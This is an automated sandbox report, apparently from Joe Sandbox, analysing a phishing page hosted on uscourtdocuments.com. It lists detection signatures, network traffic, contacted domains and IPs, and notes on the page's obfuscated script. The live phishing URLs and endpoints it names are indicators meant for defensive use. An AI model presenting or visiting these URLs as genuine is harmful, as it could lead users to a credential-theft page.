Edit tour

Windows Analysis Report
https://jdjdhjh.uscourtdocuments.com/A3RjQ

Overview

General Information

Sample URL:	https://jdjdhjh.uscourtdocuments.com/A3RjQ
Analysis ID:	1571514
Infos:

Detection

HTMLPhisher

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected HtmlPhish10

AI detected suspicious Javascript

AI detected suspicious URL

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6572 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5224 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2220,i,521131504359344851,12551365018299421929,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3112 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://jdjdhjh.uscourtdocuments.com/A3RjQ" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1113747919:1733530651:eKN-Yq7VGcAhMF8fjzZfRe7bZ492d88EutnrU3a9RiA/8ef549aa0e1f4376/k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNF HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3560sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: k1hKGFwpPT4qSPWFu.lVMk3ZSPccXP8puMRrswc7QRQ-1733750376-1.1.1.1-Qou4NQ_VNKoMYz_MnyNSqleleGTDrrf8PAlb3ZOgsJfWimvpNq_kBQMQJZDaTHNFsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 13:19:41 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: HITAge: 34Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DWM2sKb1IwcQ6nZFRHi66UtsGYg%2BxXwP0BSeDsP1MOUX69uZ8dcLc1cFHDRK3P55Ljp31rHZwd1Rtu2QBmb%2F4lK%2FOivJjnmbXqQbMjaN8XoTREBBcgGZAdGCDlOtyyjosohn%2BA8bKl4YjvFWc78R"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ef549cb096642a7-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1744&min_rtt=1736&rtt_var=667&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=1242&delivery_rate=1620421&cwnd=199&unsent_bytes=0&cid=4f1ad22d714d0c41&ts=450&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 13:19:42 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: zQWysp68KtBk4uKxagFe/Wl5uxHKqBhTGRQ=$lGHH+0uMV+XqclLLServer: cloudflareCF-RAY: 8ef549d2f8727d24-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 13:19:49 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: c8+XWXRVt/7deH5WqEv2qgFB358oP2a+3Yo=$VabBF+7UmSyyyuHRServer: cloudflareCF-RAY: 8ef549fc7e057ca2-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 13:20:04 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 7j0cwIlQE1OwKprsiFIdZR00kyrnXSzOj6Y=$LfbW8Iu6nJ27ee71Server: cloudflareCF-RAY: 8ef54a594ac743ad-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_89.3.dr, chromecache_98.3.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_100.3.dr, chromecache_95.3.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_82.3.dr, chromecache_87.3.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_100.3.dr, chromecache_82.3.dr, chromecache_87.3.dr, chromecache_95.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_100.3.dr, chromecache_82.3.dr, chromecache_87.3.dr, chromecache_95.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: classification engine

Classification label: mal64.phis.win@18/46@43/15

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2220,i,521131504359344851,12551365018299421929,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://jdjdhjh.uscourtdocuments.com/A3RjQ"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2288 --field-trial-handle=2220,i,521131504359344851,12551365018299421929,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.1.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://jdjdhjh.uscourtdocuments.com/A3RjQ	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://jdjdhjh.uscourtdocuments.com/favicon.ico	0%	Avira URL Cloud	safe
https://qtur.uscourtdocuments.com/next.php	0%	Avira URL Cloud	safe
https://1330394848-1323985617.cos.ap-singapore.myqcloud.com/bootstrap.min.js	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jdjdhjh.uscourtdocuments.com	104.21.1.136	true	false	high
stackpath.bootstrapcdn.com	104.18.11.207	true	false	high
sgp.file.myqcloud.com	43.152.64.207	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
s-part-0034.t-0009.t-msedge.net	13.107.246.62	true	false	high
qtur.uscourtdocuments.com	172.67.129.98	true	false	unknown
maxcdn.bootstrapcdn.com	104.18.10.207	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
sni1gl.wpc.omegacdn.net	152.199.21.175	true	false	high
www.google.com	172.217.21.36	true	false	high
aadcdn.msftauth.net	unknown	unknown	false	high
1330394848-1323985617.cos.ap-singapore.myqcloud.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://a.nel.cloudflare.com/report/v4?s=DWM2sKb1IwcQ6nZFRHi66UtsGYg%2BxXwP0BSeDsP1MOUX69uZ8dcLc1cFHDRK3P55Ljp31rHZwd1Rtu2QBmb%2F4lK%2FOivJjnmbXqQbMjaN8XoTREBBcgGZAdGCDlOtyyjosohn%2BA8bKl4YjvFWc78R	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8ef549aa0e1f4376/1733750380225/lkZzm5MAjpxYvTY	false		high
https://qtur.uscourtdocuments.com/next.php	false	Avira URL Cloud: safe	unknown
https://jdjdhjh.uscourtdocuments.com/A3RjQ	true		unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/24dmu/0x4AAAAAAA1vSGhuXcSM7fVC/auto/fbE/normal/auto/	false		high
https://code.jquery.com/jquery-3.2.1.slim.min.js	false		high
https://jdjdhjh.uscourtdocuments.com/A3RjQ/	true		unknown
https://challenges.cloudflare.com/turnstile/v0/api.js	false		high
https://jdjdhjh.uscourtdocuments.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f9063374b04d/api.js	false		high
https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js	false		high
https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/8ef549aa0e1f4376/1733750380229/f2673f3c80635165d7425bd75ded73beb7c00f917772d03392c76931f3491cbf/FcewdqneL0O20v9	false		high
https://1330394848-1323985617.cos.ap-singapore.myqcloud.com/bootstrap.min.js	false	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8ef549aa0e1f4376&lang=auto	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_100.3.dr, chromecache_82.3.dr, chromecache_87.3.dr, chromecache_95.3.dr	false	high
https://getbootstrap.com)	chromecache_100.3.dr, chromecache_95.3.dr	false	high
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_100.3.dr, chromecache_82.3.dr, chromecache_87.3.dr, chromecache_95.3.dr	false	high
http://opensource.org/licenses/MIT).	chromecache_89.3.dr, chromecache_98.3.dr	false	high
https://getbootstrap.com/)	chromecache_82.3.dr, chromecache_87.3.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.10.207	maxcdn.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
172.67.129.98	qtur.uscourtdocuments.com	United States	13335	CLOUDFLARENETUS	false
104.18.94.41	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.21.36	www.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.1.136	jdjdhjh.uscourtdocuments.com	United States	13335	CLOUDFLARENETUS	false
104.18.11.207	stackpath.bootstrapcdn.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
152.199.21.175	sni1gl.wpc.omegacdn.net	United States	15133	EDGECASTUS	false
43.152.64.207	sgp.file.myqcloud.com	Japan	4249	LILLY-ASUS	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.9

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571514
Start date and time:	2024-12-09 14:18:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://jdjdhjh.uscourtdocuments.com/A3RjQ
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.phis.win@18/46@43/15
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 64.233.162.84, 142.250.181.142, 192.229.221.95, 172.217.17.46, 142.250.181.10, 142.250.181.74, 172.217.19.202, 172.217.19.170, 142.250.181.138, 172.217.19.234, 172.217.17.74, 172.217.21.42, 142.250.181.106, 142.250.181.42, 172.217.17.42, 172.217.17.35, 13.107.246.63, 2.18.82.9, 4.245.163.56, 13.107.246.62
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, otelrules.afd.azureedge.net, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, azureedge-t-prod.trafficmanager.net, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://jdjdhjh.uscourtdocuments.com/A3RjQ

Input	Output
URL: https://jdjdhjh.uscourtdocuments.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": true, "third_party_hosting": true }
URL: https://jdjdhjh.uscourtdocuments.com
URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Online safety check underway.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Online safety check underway.", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/ Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://jdjdhjh.uscourtdocuments.com/A3RjQ/... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "Script contains several high-risk indicators: 1) Uses base64 decoding (atob) which is common in malicious code obfuscation, 2) Contains excessive nonsense text (meat-ipsum) likely used to obscure true intent, 3) Processes URL parameters in a way that could enable data exfiltration or command injection, 4) Uses variable name obfuscation (rh13z8jemt). These patterns are consistent with malicious code attempting to hide its true purpose." }
